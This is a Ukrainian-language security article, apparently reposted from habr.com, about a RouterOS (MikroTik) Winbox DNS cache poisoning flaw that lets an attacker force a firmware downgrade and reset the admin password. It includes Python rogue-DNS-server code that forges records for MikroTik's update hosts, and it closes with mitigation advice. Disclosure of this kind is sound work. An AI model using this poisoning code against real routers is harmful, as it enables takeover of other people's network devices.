Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Можливість віддаленого даунгрейду пристроїв на базі RouterOS (Mikrotik) ставить під загрозу сотні тисяч мережевих пристроїв. Вразливість пов'язана з отруєнням DNS-кешу Winbox протоколу і дозволяє завантажити застарілу (зі скиданням пароля «за замовчуванням») або модифіковану прошивку на пристрій.

Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Деталі вразливості

Термінал RouterOS підтримує команду дозволу для пошуку DNS.

Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Цей запит обробляється бінарним файлом з ім'ям resolver. Resolver є одним із багатьох двійкових файлів, які підключені до протоколу Winbox від RouterOS. На високому рівні "повідомлення", що надсилаються на порт Winbox, можуть маршрутизуватися в різні двійкові файли RouterOS на основі схеми нумерації на основі масиву.

За замовчуванням у RouterOS вимкнено функцію DNS-сервера.

Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Однак навіть при вимкненій функції сервера маршрутизатор підтримує свій кеш DNS.

Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Коли ми робимо запит, використовуючи winbox_dns_request, наприклад, example.com, маршрутизатор кешуватиме результат.

Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Оскільки ми можемо вказати DNS-сервер, через який маємо пройти запит, вводити невірні адреси тривіально. Наприклад, можна настроїти реалізацію DNS-сервера від Пилипа Клауса, щоб завжди відповідати записом A, що містить IP-адресу 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Тепер якщо за допомогою Winbox пошукати example.com можна побачити що DNS-кеш маршрутизатора отруєний.

Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Звичайно, отруєння example.com не дуже корисне, тому що маршрутизатор фактично не використовуватиме його. Тим не менш, маршрутизатор потребує звернення до upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com та download.mikrotik.com. І завдяки ще одній помилці є можливість отруїти їх усіх одразу.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Маршрутизатор запитує одну роздільну здатність, а ми надаємо п'ять назад. Маршрутизатор неправильно кешує всі ці відповіді.

Backport вразливість у RouterOS ставить під загрозу сотні тисяч пристроїв

Очевидно, що ця атака також корисна, якщо маршрутизатор діє як DNS-сервер, оскільки дозволяє атакувати клієнтів маршрутизатора.

Також ця атака дозволяє проексплуатувати серйознішу вразливість: зробити даунгрейд або бекпортування версії RouterOS. Атакуючий відтворює логіку сервера оновлень, включаючи changelog та змушує RouterOS сприйняти застарілу (уразливу) версію як актуальну. Небезпека тут полягає в тому, що при "оновленні" версії пароль адміністратора скидається у значення "за замовчуванням" - зловмисник може увійти в систему з порожнім паролем!


Атака цілком робоча, незважаючи на те, що автор реалізує ще кілька векторів, пов'язаних у тому числі і з вбудовуванням бекдору в прошивкуАле це вже надмірна техніка і застосування її в нелігітімних цілях протизаконно.

Захист

Просте відключення Winbox дозволяє захиститись від цих атак. Незважаючи на зручність адміністрування через Winbox, краще скористатися протоколом SSH.

Джерело: habr.com

Додати коментар або відгук